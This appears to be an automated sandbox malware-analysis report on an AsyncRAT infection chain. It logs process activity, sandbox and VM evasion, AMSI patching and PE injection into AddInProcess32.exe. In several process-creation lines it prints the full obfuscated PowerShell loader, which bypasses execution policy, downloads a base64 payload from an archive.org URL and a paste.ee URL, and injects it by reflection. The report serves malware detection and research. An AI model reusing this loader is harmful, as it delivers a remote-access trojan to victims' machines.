Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 25F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2650000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2114	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 396	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2894	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6946	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 3030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 6809	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5788	Thread sleep count: 2894 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5788	Thread sleep count: 6946 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1220	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5144	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1440	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1440	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3712	Thread sleep count: 3030 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3712	Thread sleep count: 6809 > 30	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: AddInProcess32.exe, 00000005.00000002.3319533958.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: powershell.exe, 00000004.00000002.2141564416.00000156EB202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: AddInProcess32.exe, 00000005.00000002.3332706173.0000000004E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.2031882761.0000023CC2504000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\t

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, AntiProcess.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, Amsi.cs	Reference to suspicious API methods: Win32.VirtualAllocEx(procAddress, (UIntPtr)(ulong)patch.Length, 64u, out var _)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 40E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 410000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7A8008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4kcaojzknkydqrhvybca9ihynkydlnwh0jysndccrj3ankydzoi8vawe2mccrjzaxmdaudxmuyscrj3jjaccrj2l2zs5vjysncmcvmicrjzqvaxrlbxmvzgv0yscrj2gtjysnbm90zs12l0qnkydldgfojysntm90zvyudhh0jysndmu1oycrjzlqrgjhc2u2nenvjysnbnqnkydlbnqnkycgpsaoticrj2v3lu9iaicrj2vjjysndcbtexmnkyd0zw0nkycujysntmv0lldlyknsawvudckurg93bmwnkydvywrtjysndhinkydpbmcoowpedxinkydsjysnkts5akrijysnaw5hjysncnknkyddjysnb250zw50id0gjysnw1n5cycrj3rlbs4nkyddb252zxj0xto6rnjvbscrj0jhjysnc2u2nfn0cicrj2knkyduzygnkyc5jysnakriyxnlnjrdb24nkyd0zw4nkyd0kts5akrhc3nlbwjsesa9iftsjysnzwzszwn0jysnaw9ulkfzc2vtymwnkyd5xto6tg9hzcg5akqnkydiaw4nkydhcnldb24nkyd0zw4nkyd0kts5akqnkyd0exblid0goscrj2peyxnzzw1ijysnbhkur2v0jysnvhknkydwzsh2ztvsdw5qrs5ib21ldicrj2u1kts5jysnakqnkydtzxrob2qgpsa5aicrj0r0jysnexankydllkdlde1ldghvzch2ztvwqul2ztupozlqrg1ldccrj2hvzc4nkydjbnynkydvjysna2uoowpebnvsbccrjywgw29iamvjdccrj1snkyddxuaodmu1mc9nticrj1rhjysnqs9kl2vllmv0c2fwly86c3b0jysndggnkyd2ztuglcb2ztvkzxmnkydhdgl2ywrvdmu1icwgdmu1zgvzyxrpjysndmfkb3zlnsankycsiccrj3zlnwrlc2f0axynkydhzg92jysnztusdmunkyc1qwrksw4nkydqcicrj29jzscrj3nzmzj2ztusdmu1dmu1jysnkscrjyknks5szvbsyunlkcc5akqnlftzdhjjtkddw0noqvjdmzyplljlugxhq2uoj3zlnscsw3n0cklor11bq2hbul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
